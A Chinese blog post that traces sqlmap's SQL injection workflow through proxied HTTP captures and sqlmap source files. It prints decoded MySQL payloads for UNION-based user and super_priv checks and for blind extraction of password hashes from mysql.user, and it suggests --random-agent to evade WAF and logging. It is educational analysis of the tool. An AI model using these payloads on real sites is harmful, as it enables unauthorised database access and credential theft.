聊一聊SQLMAP在进行sql注入时的整个流程

注入 Sqlmap
创建时间:
阅读:
  1. 测试方式
  2. sqlmap的准备工作
  3. sqlmap的注入分析
  4. sqlmap的一些参数
    1. 判断是否是dba权限
    2. 查询密码
  5. 总结

文章首发微信公众号：信安之路

很多小伙伴在发现或者判断出注入的时候，大多数选择就是直接上sqlmap，结果往往也不尽人意，于是就有想法来谢谢sqlmap在执行到判断注入，到底发生了什么。

本文就用我们看的见的角度来分析，看看sqlmap到底发送了什么payload，这些payload是怎么出来的，不深入代码层面。

技术有限，若有错误指出来，感激不尽。

测试环境：

测试方式

利用sqlmap的proxy参数，我们将代理设置为8080端口用burpsuite进行抓包

1
sqlmap.py -u "http://attack.com?1.php?id=1" --proxy="http://127.0.0.1:8080"

(测试了很久好像本地搭建的环境无法抓包，所以就找了有注入点的网站，漏洞已上报给漏洞平台)

抓取到的包如下：

sqlmap的准备工作

我们也观察到，sqlmap默认发送的User-Agent是这样的，

1
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)

所以为了避免被waf或者日志里面记录，我们一般可以添加一个–random-agent参数在后面。

首先我们的sqlmap会连续发送出很多数据包来检测目标网站是否稳定：

1
2
3
4
5
6
7
8
9
10
GET /xxxx.php?id=1 HTTP/1.1
Host: www.xxxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache

[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] target URL content is stable

接下来会检测是否为dynamic，和上面的请求包相比，sqlmap修改了id后面的值

1
2
3
4
5
6
7
8
GET /xxxx.php?id=2324 HTTP/1.1
Host: www.xxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache

[INFO] testing if GET parameter 'id' is dynamic

看不懂这是什么骚操作，我们来看看源码里面怎么说(sqlmap\lib\controller\checks.py)

1
2
3
4
5
6
def checkDynParam(place, parameter, value):
    """
    This function checks if the URL parameter is dynamic. If it is
    dynamic, the content of the page differs, otherwise the
    dynamicity might depend on another parameter.
    """

根据输出语句的关键词查找，我追踪到了这个checkDynParam函数，大概的作用就是修改我们现在获取到的参数值，看修改前后的页面返回是否相同(有的时候注入有多个参数，那么有些无关紧要的参数修改后页面是没有变化的)，若有变化(或者说这个参数是真实有效的)，sqlmap才会走到下一步。

下一步的数据包和功能如下：

1
2
3
4
5
6
7
8
GET /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22 HTTP/1.1
Host: www.xxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache

[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')

我们将上面的url编码解码：

1
2
/xxxx.php?id=1%27.%29%2C%2C.%28.%29%22
/xxxx.php?id=1'.),,.(.)"

这几个字符串就能判断是Mysql数据库？又是什么骚操作，再看看源码吧(sqlmap\lib\controller\ckecks.py)：

1
infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()

找到了一条语句，跟踪这个getErrorParsedDBMSes()函数

1
2
3
4
5
6
7
8
9
def getErrorParsedDBMSes():
    """
    Parses the knowledge base htmlFp list and return its values
    formatted as a human readable string.

    @return: list of possible back-end DBMS based upon error messages
    parsing.
    @rtype: C{str}
    """

那么这个函数就是通过报错信息(就是上面的payload)来辨别数据库的类型，刚好我找的这个网站也是爆出了Mysql语句的错误，然后就通过正则(sqlmap/data/xml/errors.xml)识别出来啦，篇幅原因源码就不分析了。

sqlmap的注入分析

1
2
3
4
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n] Y

上面sqlmap已经得到了数据库的类型并且参数也是有效的，接下来往下走sqlmap就开始判断注入了(这里直接用-v3参数显示payload更加的清晰)。

这一块也是大家最需要搞清楚的一部分，很多小伙伴看着感觉有注入，哎，上sqlmap，然后基本上一片红，但是实际上，按照sqlmap对注入的分类，我们可以更加清晰的了解sqlmap到底做了什么，这些东西是从哪里出来。

首先要说一下，sqlmap有一个–technique参数，在运行的整个过程中，也是按照这几类来检测的：

1
2
3
4
5
6
7
--technique=TECH..  SQL injection techniques to use (default "BEUSTQ")
B: Boolean-based blind SQL injection（布尔型注入）
E: Error-based SQL injection（报错型注入）
U: UNION query SQL injection（可联合查询注入）
S: Stacked queries SQL injection（可多语句查询注入）
T: Time-based blind SQL injection（基于时间延迟注入）
Q: inline_query SQL injection(内联注入)

对这几种注入还不熟练于心的小伙伴们要好好补一下基础

那么这些主要的注入语句，我们可以在sqlmap/data/xml/queries.xml中查看了解，总结的还是挺全面的，这里截取一部分出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<dbms value="MySQL">
        <cast query="CAST(%s AS CHAR)"/>
        <length query="CHAR_LENGTH(%s)"/>
        <isnull query="IFNULL(%s,' ')"/>
        <delimiter query=","/>
        <limit query="LIMIT %d,%d"/>
        <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
        <limitgroupstart query="1"/>
        <limitgroupstop query="2"/>
        <limitstring query=" LIMIT "/>
        <order query="ORDER BY %s ASC"/>
        <count query="COUNT(%s)"/>
        <comment query="-- -" query2="/*" query3="#"/>
        <substring query="MID((%s),%d,%d)"/>
        <concatenate query="CONCAT(%s,%s)"/>
        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
        <hex query="HEX(%s)"/>
        <inference query="ORD(MID((%s),%d,1))>%d"/>
        <banner query="VERSION()"/>
        <current_user query="CURRENT_USER()"/>
        <current_db query="DATABASE()"/>
        <hostname query="@@HOSTNAME"/>
......
......
......

对于每种类型的注入语句需要如何组合，在sqlmap/data/xml/payloads下有六个文件，里面主要是定义了测试的名称(也就是我们控制台中输出的内容)、风险等级、一些payload的位置等，了解一下就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<test>
    <title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title>
    <stype>6</stype>
    <level>1</level>
    <risk>1</risk>
    <clause>1,2,3,4,5</clause>
    <where>1</where>
    <vector>[UNION]</vector>
    <request>
        <payload/>
        <comment>[GENERIC_SQL_COMMENT]</comment>
        <char>[CHAR]</char>
        <columns>[COLSTART]-[COLSTOP]</columns>
    </request>
    <response>
        <union/>
    </response>
</test>

同目录下还有一个boundaries.xml文件，里面主要是定义了一些闭合的符号，比方说我们注入点需要闭合，添加单引号、双引号、括号等一系列的组合方式，就是从这个文件当中提取出来的。

1
2
3
4
5
6
7
8
<boundary>
    <level>3</level>
    <clause>1</clause>
    <where>1,2</where>
    <ptype>3</ptype>
    <prefix>'))</prefix>
    <suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>

所以梳理一下思路，我们最终会发送给目标服务器的payload，首先是需要闭合的(boundaries.xml)，然后从对应的注入类型的各种测试模板中提取相应的参数(比如：boolean_blind.xml)，然后在queries.xml中取出相应的表达式，最后通过tamper的渲染，输出我们最终的payload，也就是我们的 -v3 参数。

sqlmap的一些参数

我们主要分析以下两个命令：

1
2
--is-dba
--passwords

命令主要是判断mysql用户的一些信息，当我们发现注入可以利用的时候，下一步就是要看当前用户的权限看能有什么的操作了。

判断是否是dba权限

sqlmap一共发了两个请求包：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

GET /xxxx.php?id=-2478%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280xxxxxxx%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7176786b71%29%2CNULL%2CNULL--%20HZdP HTTP/1.1
Host: www.xxxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache


GET /xxxx.php?id=-6628%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x7178787871%2C%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0xxxxxxxx%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627071%29--%20mOPV HTTP/1.1
Host: www.xxxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache

将payload解码：

1
2
3
/xxxx.php?id=-2478 UNION ALL SELECT NULL,CONCAT(0x71766a6271,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0xxxxx),NULL,NULL-- HZdP

/xxxx.php?id=-6628 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178787871,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x7170627071)-- mOPV

我们直接在mysql控制台下执行命令：

第一个命令返回了用户名， 0x71766a6271 解码为 qvjbq，那么这一步我们可以提取出用户名了。

第二个命令返回了 1 ，我们将查询命令提取出来

1
SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1

在mysql数据库下的user表中查询super_priv(超级权限)的值：

返回了Y，所以我们判断是否为dba的思路就是通过查看mysql.user下super_priv的值。

这个命令有一个坑，有的时候我们所注入的服务器上面并没有mysql这个数据库，所以用这个命令的前提是mysql这个数据库要存在。

查询密码

抓的包：

1
2
3
4
5
6
GET /xxx.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28authentication_string%29%29%20AS%20CHAR%29%2C0x20%29%20FROM%20mysql.user%20WHERE%20user%3D0x64623833323331%29%2C1%2C1%29%29%3E48 HTTP/1.1
Host: www.xxxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache

解码：

1
/xxxx.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(authentication_string)) AS CHAR),0x20) FROM mysql.user WHERE user=0xxxxx),1,1))>48

这里有个很有趣的地方，我的sqlmap是1.3.6的版本，不知道之前的是不是，他是从mysql.user中获取authentication_string的值，但是很有趣的是，这个值只有在mysql版本5.7以上，password才会变成authentication_string，我们也可以从queries.xml中找到这条语句：

1
2
3
4
<passwords>
            <inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
            <blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
</passwords>

发现默认就是这个authentication_string，所以我们这里直接修改queries.xml中的语句，将查询的列明改成password再测试一下。

后面测试发现，我们在没有修改的情况下，sqlmap也会跑出密码，而且查看payload之后，sqlmap先是查了authentication_string，然后查了password:

看下源码，然后找到了(sqlmap/plugins/generic/users.py):

1
values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)

这里用replace将两个列明进行了替换，里面有个ifel的语句，要是第一次没找到就会进行替换，这样我们的问题就解决掉啦，sqlmap还是想的挺周全的哈哈。

总结

sqlmap里面的内容实在是太多太多，想要摸索里面的内容需要花费大量的时间，当然收获也是成正比的，搞清楚sqlmap的原理，对我们sql注入技术会有很大的提升。

推荐阅读：
sqlmap 内核分析系列

欢迎小伙伴们和我讨论sqlmap有关的任何问题。

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论，也可以邮件至 sher10cksec@foxmail.com

文章标题:聊一聊SQLMAP在进行sql注入时的整个流程

本文作者:sher10ck

发布时间:2019-06-29, 21:17:24

最后更新:2020-01-13, 13:01:09

原始链接:http://sherlocz.github.io/2019/06/29/sqlmap-p/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

©2019-2020 sher10ck

Built with Hexo and 3-hexo theme

目录